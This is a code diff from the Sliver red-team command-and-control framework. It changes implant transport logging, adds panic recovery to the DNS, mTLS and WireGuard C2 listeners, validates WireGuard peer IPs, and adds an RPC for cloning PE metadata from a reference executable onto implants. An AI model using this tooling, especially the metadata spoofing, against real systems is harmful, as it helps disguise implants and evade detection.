@@ -191,9 +189,7 @@ func TestSplitHostPort(t *testing.T) {
|
||||
if tt.expectErr == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectErr.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
@@ -21,6 +21,8 @@ package transports
|
||||
// {{if .Config.IsBeacon}}
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
|
||||
@@ -70,6 +72,7 @@ import (
|
||||
|
||||
var (
|
||||
_ url.URL
|
||||
_ io.Writer
|
||||
)
|
||||
|
||||
type BeaconInit func() error
|
||||
@@ -216,7 +219,15 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
// {{if .Config.Debug}}
|
||||
cfg.Logger = log.Default()
|
||||
cfg.LogOutput = nil
|
||||
// {{else}}
|
||||
cfg.Logger = nil
|
||||
cfg.LogOutput = io.Discard
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
@@ -318,7 +329,15 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
_ = dev.Down()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
// {{if .Config.Debug}}
|
||||
cfg.Logger = log.Default()
|
||||
cfg.LogOutput = nil
|
||||
// {{else}}
|
||||
cfg.Logger = nil
|
||||
cfg.LogOutput = io.Discard
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
|
||||
@@ -268,7 +268,15 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
// {{if .Config.Debug}}
|
||||
cfg.Logger = log.Default()
|
||||
cfg.LogOutput = nil
|
||||
// {{else}}
|
||||
cfg.Logger = nil
|
||||
cfg.LogOutput = io.Discard
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
@@ -484,7 +492,15 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
dev.Down()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
// {{if .Config.Debug}}
|
||||
cfg.Logger = log.Default()
|
||||
cfg.LogOutput = nil
|
||||
// {{else}}
|
||||
cfg.Logger = nil
|
||||
cfg.LogOutput = io.Discard
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
|
||||
+3134
-2280
File diff suppressed because it is too large.
Load diff
@@ -215,10 +215,75 @@ message ImplantConfig {
|
||||
bool TrafficEncodersEnabled = 152;
|
||||
repeated string TrafficEncoders = 153;
|
||||
string Extension = 154;
|
||||
reserved 155;
|
||||
reserved "SpoofData";
|
||||
|
||||
repeated commonpb.File Assets = 200;
|
||||
}
|
||||
|
||||
message SpoofMetadataFile {
|
||||
string Name = 1;
|
||||
bytes Data = 2;
|
||||
}
|
||||
|
||||
message IMAGE_RESOURCE_DIRECTORY {
|
||||
uint32 Characteristics = 1;
|
||||
uint32 TimeDateStamp = 2;
|
||||
// uint16 in PE headers; encoded as uint32 for protobuf transport.
|
||||
uint32 MajorVersion = 3;
|
||||
// uint16 in PE headers; encoded as uint32 for protobuf transport.
|
||||
uint32 MinorVersion = 4;
|
||||
// uint16 in PE headers; encoded as uint32 for protobuf transport.
|
||||
uint32 NumberOfNamedEntries = 5;
|
||||
// uint16 in PE headers; encoded as uint32 for protobuf transport.
|
||||
uint32 NumberOfIdEntries = 6;
|
||||
}
|
||||
|
||||
message IMAGE_RESOURCE_DIRECTORY_ENTRY {
|
||||
uint32 Name = 1;
|
||||
uint32 OffsetToData = 2;
|
||||
}
|
||||
|
||||
message IMAGE_RESOURCE_DATA_ENTRY {
|
||||
uint32 OffsetToData = 1;
|
||||
uint32 Size = 2;
|
||||
uint32 CodePage = 3;
|
||||
uint32 Reserved = 4;
|
||||
}
|
||||
|
||||
message IMAGE_EXPORT_DIRECTORY {
|
||||
uint32 Characteristics = 1;
|
||||
uint32 TimeDateStamp = 2;
|
||||
// uint16 in PE headers; encoded as uint32 for protobuf transport.
|
||||
uint32 MajorVersion = 3;
|
||||
// uint16 in PE headers; encoded as uint32 for protobuf transport.
|
||||
uint32 MinorVersion = 4;
|
||||
uint32 Name = 5;
|
||||
uint32 Base = 6;
|
||||
uint32 NumberOfFunctions = 7;
|
||||
uint32 NumberOfNames = 8;
|
||||
uint32 AddressOfFunctions = 9;
|
||||
uint32 AddressOfNames = 10;
|
||||
uint32 AddressOfNameOrdinals = 11;
|
||||
}
|
||||
|
||||
message PESpoofMetadataConfig {
|
||||
// Reference PE used to clone metadata/resources/timestamps.
|
||||
SpoofMetadataFile Source = 1;
|
||||
// Reserved for future standalone icon mutation support.
|
||||
SpoofMetadataFile Icon = 2;
|
||||
IMAGE_RESOURCE_DIRECTORY ResourceDirectory = 10;
|
||||
repeated IMAGE_RESOURCE_DIRECTORY_ENTRY ResourceDirectoryEntries = 11;
|
||||
repeated IMAGE_RESOURCE_DATA_ENTRY ResourceDataEntries = 12;
|
||||
IMAGE_EXPORT_DIRECTORY ExportDirectory = 13;
|
||||
}
|
||||
|
||||
message SpoofMetadataConfig {
|
||||
// Keep executable formats separated so additional formats can be added later
|
||||
// without changing request semantics.
|
||||
PESpoofMetadataConfig PE = 1;
|
||||
}
|
||||
|
||||
message TrafficEncoder {
|
||||
uint64 ID = 1;
|
||||
commonpb.File Wasm = 2;
|
||||
@@ -484,7 +549,19 @@ message GenerateStageReq {
|
||||
string Compress = 8;
|
||||
}
|
||||
|
||||
message Generate { commonpb.File File = 1; }
|
||||
message Generate {
|
||||
commonpb.File File = 1;
|
||||
string ImplantName = 2;
|
||||
string ImplantBuildID = 3;
|
||||
}
|
||||
|
||||
message GenerateSpoofMetadataReq {
|
||||
string ImplantBuildID = 1;
|
||||
string ImplantName = 2;
|
||||
uint64 ResourceID = 3;
|
||||
|
||||
SpoofMetadataConfig SpoofMetadata = 10;
|
||||
}
|
||||
|
||||
message MSFReq {
|
||||
string Payload = 1;
|
||||
|
||||
+1086
-1078
File diff suppressed because it is too large.
Load diff
@@ -85,6 +85,8 @@ service SliverRPC {
|
||||
|
||||
// *** Implants ***
|
||||
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
|
||||
rpc GenerateSpoofMetadata(clientpb.GenerateSpoofMetadataReq)
|
||||
returns (commonpb.Empty);
|
||||
rpc GenerateExternal(clientpb.ExternalGenerateReq)
|
||||
returns (clientpb.ExternalImplantConfig);
|
||||
rpc GenerateExternalSaveBuild(clientpb.ExternalImplantBinary)
|
||||
|
||||
@@ -81,6 +81,7 @@ type SliverRPCClient interface {
|
||||
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
GenerateSpoofMetadata(ctx context.Context, in *clientpb.GenerateSpoofMetadataReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
GenerateExternalGetBuildConfig(ctx context.Context, in *clientpb.ImplantBuild, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
|
||||
@@ -685,6 +686,15 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GenerateSpoofMetadata(ctx context.Context, in *clientpb.GenerateSpoofMetadataReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateSpoofMetadata", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
|
||||
out := new(clientpb.ExternalImplantConfig)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...)
|
||||
@@ -2113,6 +2123,7 @@ type SliverRPCServer interface {
|
||||
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
|
||||
GenerateSpoofMetadata(context.Context, *clientpb.GenerateSpoofMetadataReq) (*commonpb.Empty, error)
|
||||
GenerateExternal(context.Context, *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error)
|
||||
GenerateExternalGetBuildConfig(context.Context, *clientpb.ImplantBuild) (*clientpb.ExternalImplantConfig, error)
|
||||
@@ -2413,6 +2424,9 @@ func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*
|
||||
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GenerateSpoofMetadata(context.Context, *clientpb.GenerateSpoofMetadataReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GenerateSpoofMetadata not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GenerateExternal(context.Context, *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternal not implemented")
|
||||
}
|
||||
@@ -3679,6 +3693,24 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GenerateSpoofMetadata_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.GenerateSpoofMetadataReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).GenerateSpoofMetadata(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/GenerateSpoofMetadata",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).GenerateSpoofMetadata(ctx, req.(*clientpb.GenerateSpoofMetadataReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.ExternalGenerateReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -6393,6 +6425,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Generate",
|
||||
Handler: _SliverRPC_Generate_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GenerateSpoofMetadata",
|
||||
Handler: _SliverRPC_GenerateSpoofMetadata_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GenerateExternal",
|
||||
Handler: _SliverRPC_GenerateExternal_Handler,
|
||||
|
||||
+16
-1
@@ -100,6 +100,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
|
||||
server.startInitGC()
|
||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns request callback")
|
||||
|
||||
started := time.Now()
|
||||
server.HandleDNSRequest(domains, canaries, writer, req)
|
||||
dnsLog.Debugf("DNS server took %s", time.Since(started))
|
||||
@@ -226,6 +228,8 @@ func (s *DNSSession) IncomingPendingEnvelope(msgID uint32, size uint32) *Pending
|
||||
|
||||
// ForwardCompletedEnvelope - Reassembles and forwards envelopes to core
|
||||
func (s *DNSSession) ForwardCompletedEnvelope(msgID uint32, pending *PendingEnvelope) {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns ForwardCompletedEnvelope")
|
||||
|
||||
dnsLog.Debugf("[dns] dns session id: %d, msg id: %d completed message", s.ID, msgID)
|
||||
s.incomingMutex.Lock()
|
||||
delete(s.incomingEnvelopes, msgID) // Remove pending message
|
||||
@@ -373,6 +377,8 @@ func (s *SliverDNSServer) startInitGC() {
|
||||
s.gcStop = make(chan struct{})
|
||||
s.gcDone = make(chan struct{})
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns init gc")
|
||||
|
||||
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
|
||||
defer ticker.Stop()
|
||||
defer close(s.gcDone)
|
||||
@@ -420,6 +426,8 @@ func (s *SliverDNSServer) gcPendingInits() {
|
||||
// ---------------------------
|
||||
// Handles all DNS queries, first we determine if the query is C2 or a canary
|
||||
func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns HandleDNSRequest")
|
||||
|
||||
if req == nil {
|
||||
dnsLog.Info("req can not be nil")
|
||||
return
|
||||
@@ -682,6 +690,8 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns session send loop")
|
||||
|
||||
dnsLog.Debugf("[dns] starting implant conn send loop")
|
||||
for envelope := range dnsSession.ImplantConn.Send {
|
||||
dnsSession.StageOutgoingEnvelope(envelope)
|
||||
@@ -830,7 +840,10 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
|
||||
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
|
||||
complete := pending.Insert(msg)
|
||||
if complete {
|
||||
go dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns completed envelope dispatch")
|
||||
dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
|
||||
}()
|
||||
}
|
||||
|
||||
resp := new(dns.Msg)
|
||||
@@ -981,6 +994,8 @@ func (s *SliverDNSServer) handleNOP(domain string, msg *dnspb.DNSMessage, checks
|
||||
func (s *SliverDNSServer) handleCanary(req *dns.Msg) *dns.Msg {
|
||||
// Don't block, return error as fast as possible
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns handleCanary")
|
||||
|
||||
reqDomain := strings.ToLower(req.Question[0].Name)
|
||||
if !strings.HasSuffix(reqDomain, ".") {
|
||||
reqDomain += "." // Ensure we have the FQDN
|
||||
|
||||
@@ -126,6 +126,8 @@ func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error)
|
||||
}
|
||||
|
||||
func acceptSliverConnections(ln net.Listener) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls acceptSliverConnections")
|
||||
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
@@ -140,6 +142,8 @@ func acceptSliverConnections(ln net.Listener) {
|
||||
}
|
||||
|
||||
func handleSliverConnection(conn net.Conn) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnection")
|
||||
|
||||
mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
|
||||
implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())
|
||||
|
||||
@@ -174,6 +178,8 @@ func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
|
||||
}
|
||||
|
||||
func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnectionYamux")
|
||||
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
|
||||
@@ -196,6 +202,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux accept loop")
|
||||
for {
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
@@ -216,6 +223,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux stream")
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := socketReadEnvelope(stream)
|
||||
@@ -239,6 +247,8 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
if handler, ok := handlers[envelope.Type]; ok {
|
||||
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls message handler")
|
||||
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
@@ -251,6 +261,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender loop")
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
@@ -264,6 +275,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender stream")
|
||||
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
|
||||
@@ -5,6 +5,7 @@ package c2_test
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -321,7 +322,9 @@ func startTestBeacon(t *testing.T, conn net.Conn, beaconID string) *testBeacon {
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
cfg.LogOutput = io.Discard
|
||||
muxSession, err := yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ package c2_test
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -353,7 +354,9 @@ func startTestImplant(t *testing.T, conn net.Conn) func() {
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
cfg.LogOutput = io.Discard
|
||||
muxSession, err := yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
package c2
|
||||
|
||||
import "runtime/debug"
|
||||
|
||||
func recoverAndLogPanic(logf func(string, ...interface{}), scope string) {
|
||||
if recovered := recover(); recovered != nil {
|
||||
logf("Recovered panic in %s: %v\n%s", scope, recovered, string(debug.Stack()))
|
||||
}
|
||||
}
|
||||
+30
-2
@@ -28,6 +28,7 @@ import (
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -118,14 +119,25 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
|
||||
validPeerCount := 0
|
||||
for k, v := range peers {
|
||||
tunPeerIP := strings.TrimSpace(v)
|
||||
if tunPeerIP == "" {
|
||||
wgLog.Warnf("Skipping wireguard peer %q with empty tunnel IP in the database", k)
|
||||
continue
|
||||
}
|
||||
if _, err := netip.ParseAddr(tunPeerIP); err != nil {
|
||||
wgLog.Warnf("Skipping wireguard peer %q with invalid tunnel IP %q: %v", k, tunPeerIP, err)
|
||||
continue
|
||||
}
|
||||
validPeerCount++
|
||||
fmt.Fprintf(wgConf, "public_key=%s\n", k)
|
||||
fmt.Fprintf(wgConf, "allowed_ip=%s/32\n", v)
|
||||
fmt.Fprintf(wgConf, "allowed_ip=%s/32\n", tunPeerIP)
|
||||
}
|
||||
|
||||
// Set wg device config
|
||||
if err := dev.IpcSetOperation(bufio.NewReader(wgConf)); err != nil {
|
||||
return nil, nil, nil, err
|
||||
return nil, nil, nil, fmt.Errorf("failed to apply wireguard interface config (%d valid peer entries): %w", validPeerCount, err)
|
||||
}
|
||||
|
||||
err = dev.Up()
|
||||
@@ -156,6 +168,8 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
|
||||
|
||||
// acceptKeyExchangeConnection - accept connections to key exchange socket
|
||||
func acceptKeyExchangeConnection(ln net.Listener) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptKeyExchangeConnection")
|
||||
|
||||
wgLog.Printf("Polling for connections to key exchange listener")
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
@@ -176,6 +190,8 @@ func acceptKeyExchangeConnection(ln net.Listener) {
|
||||
// Generate new implant wg keys. Generate new unique IP for implant.
|
||||
// Write all retrieved data to socket connection.
|
||||
func handleKeyExchangeConnection(conn net.Conn) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleKeyExchangeConnection")
|
||||
|
||||
wgLog.Infof("Handling connection to key exchange listener")
|
||||
|
||||
defer conn.Close()
|
||||
@@ -201,6 +217,8 @@ func handleKeyExchangeConnection(conn net.Conn) {
|
||||
}
|
||||
|
||||
func acceptWGSliverConnections(ln net.Listener) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptWGSliverConnections")
|
||||
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
@@ -215,6 +233,8 @@ func acceptWGSliverConnections(ln net.Listener) {
|
||||
}
|
||||
|
||||
func handleWGSliverConnection(conn net.Conn) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnection")
|
||||
|
||||
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
|
||||
|
||||
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
|
||||
@@ -250,6 +270,8 @@ func (c *wgBufferedConn) Read(p []byte) (int, error) {
|
||||
}
|
||||
|
||||
func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnectionYamux")
|
||||
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
wgLog.Errorf("Failed to initialize yamux session: %v", err)
|
||||
@@ -272,6 +294,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux accept loop")
|
||||
for {
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
@@ -292,6 +315,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux stream")
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := socketWGReadEnvelope(stream)
|
||||
@@ -314,6 +338,8 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
|
||||
if handler, ok := handlers[envelope.Type]; ok {
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard message handler")
|
||||
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
@@ -326,6 +352,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender loop")
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
@@ -339,6 +366,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender stream")
|
||||
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
|
||||
@@ -4,6 +4,7 @@ package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -316,7 +317,9 @@ func startTestWGBeacon(t *testing.T, conn net.Conn, beaconID string) *wgTestBeac
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
cfg.LogOutput = io.Discard
|
||||
muxSession, err := yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ package c2_test
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -328,7 +329,9 @@ func startTestWGImplant(t *testing.T, conn net.Conn) func() {
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
cfg := yamux.DefaultConfig()
|
||||
cfg.LogOutput = io.Discard
|
||||
muxSession, err := yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
@@ -22,6 +22,8 @@ import (
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/netip"
|
||||
"strings"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
@@ -136,6 +138,14 @@ func saveWGKeys(isPeer bool, wgPeerTunIP string, privKey string, pubKey string)
|
||||
var result *gorm.DB
|
||||
|
||||
if isPeer {
|
||||
wgPeerTunIP = strings.TrimSpace(wgPeerTunIP)
|
||||
if wgPeerTunIP == "" {
|
||||
return errors.New("wg peer tunnel IP cannot be empty")
|
||||
}
|
||||
if _, err := netip.ParseAddr(wgPeerTunIP); err != nil {
|
||||
return fmt.Errorf("invalid wg peer tunnel IP %q: %w", wgPeerTunIP, err)
|
||||
}
|
||||
|
||||
wgPeerModels := &models.WGPeer{
|
||||
PrivKey: privKey,
|
||||
PubKey: pubKey,
|
||||
@@ -150,11 +160,12 @@ func saveWGKeys(isPeer bool, wgPeerTunIP string, privKey string, pubKey string)
|
||||
}
|
||||
result = dbSession.Create(&wgKeysModel)
|
||||
}
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.WireGuardNewPeer,
|
||||
Data: []byte(fmt.Sprintf("public_key=%s\nallowed_ip=%s/32\n", pubKey, wgPeerTunIP)),
|
||||
})
|
||||
|
||||
if isPeer {
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.WireGuardNewPeer,
|
||||
Data: []byte(fmt.Sprintf("public_key=%s\nallowed_ip=%s/32\n", pubKey, wgPeerTunIP)),
|
||||
})
|
||||
}
|
||||
|
||||
return result.Error
|
||||
}
|
||||
+2
-2
@@ -141,12 +141,12 @@ var rootCmd = &cobra.Command{
|
||||
serverConfig := configs.GetServerConfig()
|
||||
listenerJobs, err := db.ListenerJobs()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("[!] Failed to load persistent listener jobs: %s\n", err)
|
||||
}
|
||||
|
||||
err = StartPersistentJobs(listenerJobs)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("[!] %s\n", err)
|
